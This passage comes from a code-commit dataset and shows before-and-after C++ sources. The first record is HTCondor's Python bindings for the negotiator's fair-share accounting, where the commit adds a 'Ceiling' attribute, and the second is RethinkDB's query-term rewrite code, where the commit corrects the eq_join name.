ad(new ClassAdWrapper());\n bool result;\n {\n condor::ModuleLock ml;\n result = !getClassAdNoTypes(sock.get(), *ad.get()) || !sock->end_of_message();\n }\n if (result)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to get classad from negotiator\");\n }\n sock->close();\n\n std::vector<std::string> attrs;\n attrs.push_back(\"Name\");\n attrs.push_back(\"StartTime\");\n return toList(ad, attrs);\n }\n\n boost::python::list\n getPriorities(bool rollup=false)\n {\n boost::shared_ptr<Sock> sock = getSocket(rollup ? GET_PRIORITY_ROLLUP : GET_PRIORITY);\n\n sock->decode();\n boost::shared_ptr<ClassAdWrapper> ad(new ClassAdWrapper());\n bool result;\n {\n condor::ModuleLock ml;\n result = !getClassAdNoTypes(sock.get(), *ad.get()) || !sock->end_of_message();\n }\n if (result)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to get classad from negotiator\");\n }\n sock->close();\n\n std::vector<std::string> attrs;\n attrs.push_back(\"Name\");\n attrs.push_back(\"Priority\");\n attrs.push_back(\"ResourcesUsed\");\n attrs.push_back(\"Requested\");\n attrs.push_back(\"WeightedResourcesUsed\");\n attrs.push_back(\"PriorityFactor\");\n attrs.push_back(\"BeginUsageTime\");\n attrs.push_back(\"LastUsageTime\");\n attrs.push_back(\"WeightedAccumulatedUsage\");\n attrs.push_back(\"AccountingGroup\");\n attrs.push_back(\"IsAccountingGroup\");\n attrs.push_back(\"AccumulatedUsage\");\n return toList(ad, attrs);\n }\n\nprivate:\n\n void checkUser(const std::string &user)\n {\n if( user.find('@') == std::string::npos )\n {\n THROW_EX(HTCondorValueError, \"You must specify the full name of the submittor you wish (user@uid.domain)\");\n }\n }\n\n boost::shared_ptr<Sock> getSocket(int cmd)\n {\n Daemon negotiator(DT_NEGOTIATOR, m_addr.c_str());\n Sock *raw_sock;\n {\n condor::ModuleLock ml;\n raw_sock = negotiator.startCommand(cmd, Stream::reli_sock, 0);\n }\n boost::shared_ptr<Sock> sock(raw_sock);\n if (!sock.get()) { THROW_EX(HTCondorIOError, \"Unable to connect to the negotiator\"); }\n return sock;\n }\n\n void sendUserValue(int cmd, const std::string &user, float val)\n {\n checkUser(user);\n boost::shared_ptr<Sock> sock = getSocket(cmd);\n\n bool retval;\n {\n condor::ModuleLock ml;\n retval = !sock->put(user.c_str()) || !sock->put(val) || !sock->end_of_message();\n }\n if (retval)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send command to negotiator\\n\" );\n }\n sock->close();\n }\n\n void sendUserValue(int cmd, const std::string &user, time_t val)\n {\n checkUser(user);\n boost::shared_ptr<Sock> sock = getSocket(cmd);\n\n bool retval;\n {\n condor::ModuleLock ml;\n retval = !sock->put(user.c_str()) || !sock->put(val) || !sock->end_of_message();\n }\n if (retval)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send command to negotiator\\n\" );\n }\n sock->close();\n }\n\n void sendUserCmd(int cmd, const std::string &user)\n {\n checkUser(user);\n boost::shared_ptr<Sock> sock = getSocket(cmd);\n\n bool retval;\n {\n condor::ModuleLock ml;\n retval = !sock->put(user.c_str()) || !sock->end_of_message();\n }\n if (retval)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send command to negotiator\\n\" );\n }\n sock->close();\n }\n\n\n std::string m_addr;\n std::string m_version;\n\n};\n\nBOOST_PYTHON_MEMBER_FUNCTION_OVERLOADS(priority_overloads, getPriorities, 0, 1);\n\nvoid export_negotiator()\n{\n class_<Negotiator>(\"Negotiator\",\n R\"C0ND0R(\n This class provides a query interface to the *condor_negotiator*.\n It primarily allows one to query and set various parameters in the fair-share accounting.\n )C0ND0R\",\n init<boost::python::object>(\n R\"C0ND0R(\n :param location_ad: A ClassAd or DaemonLocation describing the *condor_negotiator*\n location and version. If omitted, the default pool negotiator is assumed.\n :type location_ad: :class:`~classad.ClassAd` or :class:`DaemonLocation`\n )C0ND0R\",\n boost::python::args(\"self\", \"ad\")))\n .def(boost::python::init<>(boost::python::args(\"self\")))\n .add_property(\"location\", &Negotiator::location,\n R\"C0ND0R(\n The negotiator to query or send commands to\n :rtype: location :class:`DaemonLocation`\n )C0ND0R\")\n .def(\"setPriority\", &Negotiator::setPriority,\n R\"C0ND0R(\n Set the real priority of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float prio: The priority to be set for the user; must be greater-than 0.0.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"prio\"))\n .def(\"setFactor\", &Negotiator::setFactor,\n R\"C0ND0R(\n Set the priority factor of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float factor: The priority factor to be set for the user; must be greater-than or equal-to 1.0.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"factor\"))\n .def(\"setCeiling\", &Negotiator::setCeiling,\n R\"C0ND0R(\n Set the submitter ceiling of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float ceiling: The ceiling t be set for the submitter; must be greater-than or equal-to -1.0.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"ceiling\"))\n .def(\"setUsage\", &Negotiator::setUsage,\n R\"C0ND0R(\n Set the accumulated usage of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float usage: The usage, in hours, to be set for the user.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"usage\"))\n .def(\"setBeginUsage\", &Negotiator::setBeginUsage,\n R\"C0ND0R(\n Manually set the time that a user begins using the pool.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param int value: The Unix timestamp of initial usage.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"value\"))\n .def(\"setLastUsage\", &Negotiator::setLastUsage,\n R\"C0ND0R(\n Manually set the time that a user last used the pool.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param int value: The Unix timestamp of last usage.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"value\"))\n .def(\"resetUsage\", &Negotiator::resetUsage,\n R\"C0ND0R(\n Reset all usage accounting of the specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n )C0ND0R\",\n boost::python::args(\"self\", \"user\"))\n .def(\"deleteUser\", &Negotiator::deleteUser,\n R\"C0ND0R(\n Delete all records of a user from the Negotiator's fair-share accounting.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n )C0ND0R\",\n boost::python::args(\"self\", \"user\"))\n .def(\"resetAllUsage\", &Negotiator::resetAllUsage,\n R\"C0ND0R(\n Reset all usage accounting. All known user records in the negotiator are deleted.\n )C0ND0R\",\n boost::python::args(\"self\"))\n .def(\"getResourceUsage\", &Negotiator::getResourceUsage,\n R\"C0ND0R(\n Get the resources (slots) used by a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :return: List of ads describing the resources (slots) in use.\n :rtype: list[:class:`~classad.ClassAd`]\n )C0ND0R\",\n boost::python::args(\"self\", \"user\"))\n .def(\"getPriorities\", &Negotiator::getPriorities, priority_overloads(\n R\"C0ND0R(\n Retrieve the pool accounting information, one per entry.\n Returns a list of accounting ClassAds.\n\n :param bool rollup: Set to ``True`` if accounting information, as applied to\n hierarchical group quotas, should be summed for groups and subgroups.\n :return: A list of accounting ads, one per entity.\n :rtype: list[:class:`~classad.ClassAd`]\n )C0ND0R\",\n boost::python::args(\"self\", \"rollup\")))\n ;\n}\n<commit_msg>Updated negotiator.getPriorites python binding to include ceiling (HTCONDOR-560)<commit_after>\n\/\/ Note - python_bindings_common.h must be included before condor_common to avoid\n\/\/ re-definition warnings.\n#include \"python_bindings_common.h\"\n\n#include \"condor_adtypes.h\"\n#include \"dc_collector.h\"\n#include \"condor_version.h\"\n\n#include <memory>\n\n#include \"old_boost.h\"\n#include \"classad_wrapper.h\"\n#include \"module_lock.h\"\n#include \"htcondor.h\"\n#include \"daemon_location.h\"\n\nusing namespace boost::python;\n\nstatic boost::python::list\ntoList(const boost::shared_ptr<classad::ClassAd> ad, const std::vector<std::string> &attrs)\n{\n int idx = 1;\n bool hasattr = true;\n boost::python::list result;\n while (hasattr)\n {\n hasattr = false;\n boost::shared_ptr<ClassAdWrapper> nextAd(new ClassAdWrapper());\n for (std::vector<std::string>::const_iterator it = attrs.begin(); it != attrs.end(); it++)\n {\n std::stringstream attr; attr << *it << idx;\n classad::ExprTree *expr = NULL;\n if ((expr = ad->Lookup(attr.str())))\n {\n classad::ExprTree *copy = expr->Copy();\n if (!copy) { THROW_EX(HTCondorInternalError, \"Unable to create copy of ClassAd expression\"); }\n if (!nextAd->Insert(*it, copy)) { THROW_EX(HTCondorInternalError, \"Unable to copy attribute into destination ClassAd\"); }\n hasattr = true;\n }\n }\n if (hasattr)\n {\n result.append(nextAd);\n }\n idx++;\n }\n return result;\n}\n\n\nstruct Negotiator {\n\n void use_local_negotiator()\n {\n Daemon neg( DT_NEGOTIATOR, 0, 0 );\n bool result;\n {\n condor::ModuleLock ml;\n result = neg.locate();\n }\n\n if (result)\n {\n if (neg.addr())\n {\n m_addr = neg.addr();\n }\n else\n {\n THROW_EX(HTCondorLocateError, \"Unable to locate negotiator address.\");\n }\n m_version = neg.version() ? neg.version() : \"\";\n }\n else\n {\n THROW_EX(HTCondorLocateError, \"Unable to locate local daemon\");\n }\n }\n\n Negotiator() {\n use_local_negotiator();\n }\n\n Negotiator(boost::python::object loc)\n : m_addr(), m_version(\"\")\n {\n\t\tint rv = construct_for_location(loc, DT_NEGOTIATOR, m_addr, m_version);\n\t\tif (rv == 0) {\n\t\t\tuse_local_negotiator();\n\t\t} else if (rv < 0) {\n\t\t\tif (rv == -2) { boost::python::throw_error_already_set(); }\n\t\t\tTHROW_EX(HTCondorValueError, \"Unknown type\");\n\t\t}\n\t}\n\n ~Negotiator()\n {\n }\n\n boost::python::object location() const {\n return make_daemon_location(DT_NEGOTIATOR, m_addr, m_version);\n }\n\n void setPriority(const std::string &user, float prio)\n {\n if (prio < 0) THROW_EX(HTCondorValueError, \"User priority must be non-negative\");\n sendUserValue(SET_PRIORITY, user, prio);\n }\n\n void setFactor(const std::string &user, float factor)\n {\n if (factor<1) THROW_EX(HTCondorValueError, \"Priority factors must be >= 1\");\n sendUserValue(SET_PRIORITYFACTOR, user, factor);\n }\n\n void setUsage(const std::string &user, float usage)\n {\n if (usage < 0) THROW_EX(HTCondorValueError, \"Usage must be non-negative.\");\n sendUserValue(SET_ACCUMUSAGE, user, usage);\n }\n\n void setBeginUsage(const std::string &user, time_t time)\n {\n sendUserValue(SET_BEGINTIME, user, time);\n }\n\n void setLastUsage(const std::string &user, time_t time)\n {\n sendUserValue(SET_LASTTIME, user, time);\n }\n\n\tvoid setCeiling(const std::string &user, float ceiling) \n\t{\n if (ceiling < -1) THROW_EX(HTCondorValueError, \"Ceiling must be greater than -1.\");\n sendUserValue(SET_CEILING, user, ceiling);\n\t}\n\n void resetUsage(const std::string &user)\n {\n sendUserCmd(RESET_USAGE, user);\n }\n\n void deleteUser(const std::string &user)\n {\n sendUserCmd(DELETE_USER, user);\n }\n\n void resetAllUsage()\n {\n Daemon negotiator(DT_NEGOTIATOR, m_addr.c_str());\n bool result;\n {\n condor::ModuleLock ml;\n result = negotiator.sendCommand(RESET_ALL_USAGE, Stream::reli_sock, 0);\n }\n if (!result)\n {\n THROW_EX(HTCondorIOError, \"Failed to send RESET_ALL_USAGE command\");\n }\n }\n\n boost::python::list\n getResourceUsage(const std::string &user)\n {\n checkUser(user);\n\n boost::shared_ptr<Sock> sock = getSocket(GET_RESLIST);\n if (!sock->put(user.c_str()) ||\n !sock->end_of_message())\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send GET_RESLIST command to negotiator\" );\n }\n sock->decode();\n boost::shared_ptr<ClassAdWrapper> ad(new ClassAdWrapper());\n bool result;\n {\n condor::ModuleLock ml;\n result = !getClassAdNoTypes(sock.get(), *ad.get()) || !sock->end_of_message();\n }\n if (result)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to get classad from negotiator\");\n }\n sock->close();\n\n std::vector<std::string> attrs;\n attrs.push_back(\"Name\");\n attrs.push_back(\"StartTime\");\n return toList(ad, attrs);\n }\n\n boost::python::list\n getPriorities(bool rollup=false)\n {\n boost::shared_ptr<Sock> sock = getSocket(rollup ? GET_PRIORITY_ROLLUP : GET_PRIORITY);\n\n sock->decode();\n boost::shared_ptr<ClassAdWrapper> ad(new ClassAdWrapper());\n bool result;\n {\n condor::ModuleLock ml;\n result = !getClassAdNoTypes(sock.get(), *ad.get()) || !sock->end_of_message();\n }\n if (result)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to get classad from negotiator\");\n }\n sock->close();\n\n std::vector<std::string> attrs;\n attrs.push_back(\"Name\");\n attrs.push_back(\"Priority\");\n attrs.push_back(\"ResourcesUsed\");\n attrs.push_back(\"Requested\");\n attrs.push_back(\"WeightedResourcesUsed\");\n attrs.push_back(\"PriorityFactor\");\n attrs.push_back(\"BeginUsageTime\");\n attrs.push_back(\"LastUsageTime\");\n attrs.push_back(\"WeightedAccumulatedUsage\");\n attrs.push_back(\"AccountingGroup\");\n attrs.push_back(\"IsAccountingGroup\");\n attrs.push_back(\"AccumulatedUsage\");\n attrs.push_back(\"Ceiling\");\n return toList(ad, attrs);\n }\n\nprivate:\n\n void checkUser(const std::string &user)\n {\n if( user.find('@') == std::string::npos )\n {\n THROW_EX(HTCondorValueError, \"You must specify the full name of the submittor you wish (user@uid.domain)\");\n }\n }\n\n boost::shared_ptr<Sock> getSocket(int cmd)\n {\n Daemon negotiator(DT_NEGOTIATOR, m_addr.c_str());\n Sock *raw_sock;\n {\n condor::ModuleLock ml;\n raw_sock = negotiator.startCommand(cmd, Stream::reli_sock, 0);\n }\n boost::shared_ptr<Sock> sock(raw_sock);\n if (!sock.get()) { THROW_EX(HTCondorIOError, \"Unable to connect to the negotiator\"); }\n return sock;\n }\n\n void sendUserValue(int cmd, const std::string &user, float val)\n {\n checkUser(user);\n boost::shared_ptr<Sock> sock = getSocket(cmd);\n\n bool retval;\n {\n condor::ModuleLock ml;\n retval = !sock->put(user.c_str()) || !sock->put(val) || !sock->end_of_message();\n }\n if (retval)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send command to negotiator\\n\" );\n }\n sock->close();\n }\n\n void sendUserValue(int cmd, const std::string &user, time_t val)\n {\n checkUser(user);\n boost::shared_ptr<Sock> sock = getSocket(cmd);\n\n bool retval;\n {\n condor::ModuleLock ml;\n retval = !sock->put(user.c_str()) || !sock->put(val) || !sock->end_of_message();\n }\n if (retval)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send command to negotiator\\n\" );\n }\n sock->close();\n }\n\n void sendUserCmd(int cmd, const std::string &user)\n {\n checkUser(user);\n boost::shared_ptr<Sock> sock = getSocket(cmd);\n\n bool retval;\n {\n condor::ModuleLock ml;\n retval = !sock->put(user.c_str()) || !sock->end_of_message();\n }\n if (retval)\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send command to negotiator\\n\" );\n }\n sock->close();\n }\n\n\n std::string m_addr;\n std::string m_version;\n\n};\n\nBOOST_PYTHON_MEMBER_FUNCTION_OVERLOADS(priority_overloads, getPriorities, 0, 1);\n\nvoid export_negotiator()\n{\n class_<Negotiator>(\"Negotiator\",\n R\"C0ND0R(\n This class provides a query interface to the *condor_negotiator*.\n It primarily allows one to query and set various parameters in the fair-share accounting.\n )C0ND0R\",\n init<boost::python::object>(\n R\"C0ND0R(\n :param location_ad: A ClassAd or DaemonLocation describing the *condor_negotiator*\n location and version. If omitted, the default pool negotiator is assumed.\n :type location_ad: :class:`~classad.ClassAd` or :class:`DaemonLocation`\n )C0ND0R\",\n boost::python::args(\"self\", \"ad\")))\n .def(boost::python::init<>(boost::python::args(\"self\")))\n .add_property(\"location\", &Negotiator::location,\n R\"C0ND0R(\n The negotiator to query or send commands to\n :rtype: location :class:`DaemonLocation`\n )C0ND0R\")\n .def(\"setPriority\", &Negotiator::setPriority,\n R\"C0ND0R(\n Set the real priority of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float prio: The priority to be set for the user; must be greater-than 0.0.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"prio\"))\n .def(\"setFactor\", &Negotiator::setFactor,\n R\"C0ND0R(\n Set the priority factor of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float factor: The priority factor to be set for the user; must be greater-than or equal-to 1.0.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"factor\"))\n .def(\"setCeiling\", &Negotiator::setCeiling,\n R\"C0ND0R(\n Set the submitter ceiling of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float ceiling: The ceiling t be set for the submitter; must be greater-than or equal-to -1.0.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"ceiling\"))\n .def(\"setUsage\", &Negotiator::setUsage,\n R\"C0ND0R(\n Set the accumulated usage of a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param float usage: The usage, in hours, to be set for the user.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"usage\"))\n .def(\"setBeginUsage\", &Negotiator::setBeginUsage,\n R\"C0ND0R(\n Manually set the time that a user begins using the pool.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param int value: The Unix timestamp of initial usage.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"value\"))\n .def(\"setLastUsage\", &Negotiator::setLastUsage,\n R\"C0ND0R(\n Manually set the time that a user last used the pool.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :param int value: The Unix timestamp of last usage.\n )C0ND0R\",\n boost::python::args(\"self\", \"user\", \"value\"))\n .def(\"resetUsage\", &Negotiator::resetUsage,\n R\"C0ND0R(\n Reset all usage accounting of the specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n )C0ND0R\",\n boost::python::args(\"self\", \"user\"))\n .def(\"deleteUser\", &Negotiator::deleteUser,\n R\"C0ND0R(\n Delete all records of a user from the Negotiator's fair-share accounting.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n )C0ND0R\",\n boost::python::args(\"self\", \"user\"))\n .def(\"resetAllUsage\", &Negotiator::resetAllUsage,\n R\"C0ND0R(\n Reset all usage accounting. All known user records in the negotiator are deleted.\n )C0ND0R\",\n boost::python::args(\"self\"))\n .def(\"getResourceUsage\", &Negotiator::getResourceUsage,\n R\"C0ND0R(\n Get the resources (slots) used by a specified user.\n\n :param str user: A fully-qualified user name (``USER@DOMAIN``).\n :return: List of ads describing the resources (slots) in use.\n :rtype: list[:class:`~classad.ClassAd`]\n )C0ND0R\",\n boost::python::args(\"self\", \"user\"))\n .def(\"getPriorities\", &Negotiator::getPriorities, priority_overloads(\n R\"C0ND0R(\n Retrieve the pool accounting information, one per entry.\n Returns a list of accounting ClassAds.\n\n :param bool rollup: Set to ``True`` if accounting information, as applied to\n hierarchical group quotas, should be summed for groups and subgroups.\n :return: A list of accounting ads, one per entity.\n :rtype: list[:class:`~classad.ClassAd`]\n )C0ND0R\",\n boost::python::args(\"self\", \"rollup\")))\n ;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2010-2013 RethinkDB, all rights reserved.\n#include \"rdb_protocol\/terms\/terms.hpp\"\n\n#include <string>\n\n#include \"rdb_protocol\/op.hpp\"\n#include \"rdb_protocol\/error.hpp\"\n#include \"rdb_protocol\/pb_utils.hpp\"\n#include \"rdb_protocol\/minidriver.hpp\"\n\nnamespace ql {\n\n\/\/ This file implements terms that are rewritten into other terms.\n\nclass rewrite_term_t : public term_t {\npublic:\n rewrite_term_t(compile_env_t *env, protob_t<const Term> term, argspec_t argspec,\n r::reql_t (*rewrite)(protob_t<const Term> in,\n const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in))\n : term_t(term), in(term), out(make_counted_term()) {\n int args_size = in->args_size();\n rcheck(argspec.contains(args_size),\n base_exc_t::GENERIC,\n strprintf(\"Expected %s but found %d.\",\n argspec.print().c_str(), args_size));\n out->Swap(&rewrite(in, this, in).get());\n propagate(out.get()); \/\/ duplicates `in` backtrace (see `pb_rcheckable_t`)\n real = compile_term(env, out);\n }\n\nprivate:\n virtual void accumulate_captures(var_captures_t *captures) const {\n return real->accumulate_captures(captures);\n }\n virtual bool is_deterministic() const {\n return real->is_deterministic();\n }\n\n virtual counted_t<val_t> term_eval(scope_env_t *env, eval_flags_t) const {\n return real->eval(env);\n }\n\n protob_t<const Term> in;\n protob_t<Term> out;\n\n counted_t<const term_t> real;\n};\n\nclass inner_join_term_t : public rewrite_term_t {\npublic:\n inner_join_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(3), rewrite) { }\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n const Term &left = in->args(0);\n const Term &right = in->args(1);\n const Term &func = in->args(2);\n auto n = pb::dummy_var_t::INNERJOIN_N;\n auto m = pb::dummy_var_t::INNERJOIN_M;\n\n r::reql_t term =\n r::expr(left).concat_map(\n r::fun(n,\n r::expr(right).concat_map(\n r::fun(m,\n r::branch(\n r::expr(func)(r::var(n), r::var(m)),\n r::array(r::object(\n r::optarg(\"left\", n), r::optarg(\"right\", m))),\n r::array())))));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n\n virtual const char *name() const { return \"inner_join\"; }\n};\n\nclass outer_join_term_t : public rewrite_term_t {\npublic:\n outer_join_term_t(compile_env_t *env, const protob_t<const Term> &term) :\n rewrite_term_t(env, term, argspec_t(3), rewrite) { }\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n const Term &left = in->args(0);\n const Term &right = in->args(1);\n const Term &func = in->args(2);\n auto n = pb::dummy_var_t::OUTERJOIN_N;\n auto m = pb::dummy_var_t::OUTERJOIN_M;\n auto lst = pb::dummy_var_t::OUTERJOIN_LST;\n\n r::reql_t inner_concat_map =\n r::expr(right).concat_map(\n r::fun(m,\n r::branch(\n r::expr(func)(n, m),\n r::array(r::object(r::optarg(\"left\", n), r::optarg(\"right\", m))),\n r::array())));\n\n r::reql_t term =\n r::expr(left).concat_map(\n r::fun(n,\n std::move(inner_concat_map).coerce_to(\"ARRAY\").do_(lst,\n r::branch(\n r::expr(lst).count() > 0,\n lst,\n r::array(r::object(r::optarg(\"left\", n)))))));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n\n virtual const char *name() const { return \"outer_join\"; }\n};\n\nclass eq_join_term_t : public rewrite_term_t {\npublic:\n eq_join_term_t(compile_env_t *env, const protob_t<const Term> &term) :\n rewrite_term_t(env, term, argspec_t(3), rewrite) { }\nprivate:\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n const Term &left = in->args(0);\n const Term &left_attr = in->args(1);\n const Term &right = in->args(2);\n\n auto row = pb::dummy_var_t::EQJOIN_ROW;\n auto v = pb::dummy_var_t::EQJOIN_V;\n\n r::reql_t get_all =\n r::expr(right).get_all(\n r::expr(left_attr)(row, r::optarg(\"_SHORTCUT_\", GET_FIELD_SHORTCUT)));\n get_all.copy_optargs_from_term(*optargs_in);\n return r::expr(left).concat_map(\n r::fun(row,\n r::branch(\n r::null() == row,\n r::array(),\n std::move(get_all).default_(r::array()).map(\n r::fun(v, r::object(r::optarg(\"left\", row),\n r::optarg(\"right\", v)))))));\n\n }\n virtual const char *name() const { return \"inner_join\"; }\n};\n\nclass delete_term_t : public rewrite_term_t {\npublic:\n delete_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(1), rewrite) { }\nprivate:\n\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n auto x = pb::dummy_var_t::IGNORED;\n\n r::reql_t term = r::expr(in->args(0)).replace(r::fun(x, r::null()));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n virtual const char *name() const { return \"delete\"; }\n};\n\nclass update_term_t : public rewrite_term_t {\npublic:\n update_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(2), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n auto old_row = pb::dummy_var_t::UPDATE_OLDROW;\n auto new_row = pb::dummy_var_t::UPDATE_NEWROW;\n\n r::reql_t term =\n r::expr(in->args(0)).replace(\n r::fun(old_row,\n r::branch(\n r::null() == old_row,\n r::null(),\n r::fun(new_row,\n r::branch(\n r::null() == new_row,\n old_row,\n r::expr(old_row).merge(new_row)))(\n r::expr(in->args(1))(old_row,\n r::optarg(\"_EVAL_FLAGS_\", LITERAL_OK)),\n r::optarg(\"_EVAL_FLAGS_\", LITERAL_OK)))));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n virtual const char *name() const { return \"update\"; }\n};\n\nclass skip_term_t : public rewrite_term_t {\npublic:\n skip_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(2), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n r::reql_t term =\n r::expr(in->args(0)).slice(in->args(1), -1,\n r::optarg(\"right_bound\", \"closed\"));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n virtual const char *name() const { return \"skip\"; }\n};\n\nclass difference_term_t : public rewrite_term_t {\npublic:\n difference_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(2), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n auto row = pb::dummy_var_t::DIFFERENCE_ROW;\n\n r::reql_t term =\n r::expr(in->args(0)).filter(\n r::fun(row,\n !r::expr(in->args(1)).contains(row)));\n\n term.copy_optargs_from_term(*optargs_in);\n return term;\n }\n\n virtual const char *name() const { return \"difference\"; }\n};\n\nclass with_fields_term_t : public rewrite_term_t {\npublic:\n with_fields_term_t(compile_env_t *env, const protob_t<const Term> &term)\n : rewrite_term_t(env, term, argspec_t(1, -1), rewrite) { }\nprivate:\n static r::reql_t rewrite(protob_t<const Term> in,\n UNUSED const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in) {\n\n r::reql_t has_fields = r::expr(in->args(0)).has_fields();\n has_fields.copy_args_from_term(*in, 1);\n has_fields.copy_optargs_from_term(*optargs_in);\n r::reql_t pluck = std::move(has_fields).pluck();\n pluck.copy_args_from_term(*in, 1);\n\n return pluck;\n }\n virtual const char *name() const { return \"with_fields\"; }\n};\n\ncounted_t<term_t> make_skip_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<skip_term_t>(env, term);\n}\ncounted_t<term_t> make_inner_join_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<inner_join_term_t>(env, term);\n}\ncounted_t<term_t> make_outer_join_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<outer_join_term_t>(env, term);\n}\ncounted_t<term_t> make_eq_join_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<eq_join_term_t>(env, term);\n}\ncounted_t<term_t> make_update_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<update_term_t>(env, term);\n}\ncounted_t<term_t> make_delete_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<delete_term_t>(env, term);\n}\ncounted_t<term_t> make_difference_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<difference_term_t>(env, term);\n}\ncounted_t<term_t> make_with_fields_term(\n compile_env_t *env, const protob_t<const Term> &term) {\n return make_counted<with_fields_term_t>(env, term);\n}\n\n} \/\/ namespace ql\n<commit_msg>Use actual name for `eq_join`<commit_after>\/\/ Copyright 2010-2013 RethinkDB, all rights reserved.\n#include \"rdb_protocol\/terms\/terms.hpp\"\n\n#include <string>\n\n#include \"rdb_protocol\/op.hpp\"\n#include \"rdb_protocol\/error.hpp\"\n#include \"rdb_protocol\/pb_utils.hpp\"\n#include \"rdb_protocol\/minidriver.hpp\"\n\nnamespace ql {\n\n\/\/ This file implements terms that are rewritten into other terms.\n\nclass rewrite_term_t : public term_t {\npublic:\n rewrite_term_t(compile_env_t *env, protob_t<const Term> term, argspec_t argspec,\n r::reql_t (*rewrite)(protob_t<const Term> in,\n const pb_rcheckable_t *bt_src,\n protob_t<const Term> optargs_in))\n : term_t(term), in(term), out(make_counted_term()) {\n int args_size = in->args_size();\n rcheck(argspec.contains(args_size),\n base_exc_t::GENERIC,\n strprintf(\"Expected %s but found %d.\",\n argspec.print().c_str(), args_size));\n out->Swap(&rewrite(in, this, in).get());\n propagate(out.get()); \/\/ duplicates `in` backtrace (see `pb_rcheckable_t`)\n real = compile_term(env, out);\n }\n\nprivate:\n virtual void accumulate_captures(var_captures_t *captures) const {\n return real->accumulate_captures(captures);\n }\n virtual bool is_deterministic() const {\n return real->is_deterministic();\n }\n\n virtual counted_t<val_t> term_eval(scope_env_t *env, eval_flags_t) const {\n return real->eval(env);\n }\n\n protob_t<const Term> in;\n protob_t<Term> out;\n\n counted_t<const term_t> real;\n};\n\nclass inner_join_term_t : public rewrite_term_t 